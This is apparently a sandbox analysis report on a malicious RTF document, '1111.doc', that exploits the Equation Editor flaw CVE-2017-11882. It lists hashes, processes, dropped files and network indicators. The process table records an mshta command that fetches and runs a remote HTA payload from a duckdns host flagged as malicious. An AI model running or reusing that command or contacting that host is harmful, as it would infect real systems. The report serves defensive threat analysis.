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| File name: | 1111.doc |
| Full analysis: | https://app.any.run/tasks/0c743036-b745-4922-b2c7-fd110f38e1af |
| Verdict: | Malicious activity |
| Analysis date: | June 12, 2019, 00:33:37 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/rtf |
| File info: | Rich Text Format data, version 1, unknown character set |
| MD5: | 8AA52389955D92BD390AEFC33B81D051 |
| SHA1: | 5C168012AA47365BCA0990C2E538220050E9EF7E |
| SHA256: | 03A944BBEFAD101AD3B8B77E23DDCCE98A0A23CF406C88A6010752CE0367E838 |
| SSDEEP: | 24:yAmCdryFJ7qXVsQ6sQwXVsQAXVNQiOXVS/1UZEH7OUaoj/GwcKcr8DEqSGxW3xMK:ybvqVO3Oq/H777Yr/qSV3xMaumV+C |
MALICIOUS
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 3204)
SUSPICIOUS
Starts MSHTA.EXE for opening HTA or HTMLS files
- EQNEDT32.EXE (PID: 3204)
Executed via COM
- EQNEDT32.EXE (PID: 3204)
Reads internet explorer settings
- mshta.exe (PID: 2384)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 252)
Application was crashed
- EQNEDT32.EXE (PID: 3204)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 252)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rtf | | | Rich Text Format (100) |
|---|
Total processes
37
Monitored processes
3
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 252 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\1111.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 3204 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | |
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 | ||||
| 2384 | mshta ht tp://umctech.duckdns.org/um/abc C | C:\Windows\system32\mshta.exe | EQNEDT32.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
1 120
Read events
739
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
0
Text files
0
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 252 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR3E54.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 252 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:573929F9AD7D2E3EAB96A848C7465E47 | SHA256:7DC5C86A953C2D174FFD6FEC895584A4231AFDDF9E2DCFEE6D1DEE82260A0723 | |||
| 252 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$1111.doc | pgc | |
MD5:B4E689851EB85B08742099D25A41D50F | SHA256:147C712F5C5547890A11001DFF164745F9E130C0CCBD377423D06EBA434838FE | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
3
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2384 | mshta.exe | 23.249.165.221:80 | umctech.duckdns.org | ColoCrossing | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
umctech.duckdns.org |
| malicious |
dns.msftncsi.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Misc activity | ET INFO DYNAMIC_DNS Query to *.duckdns. Domain |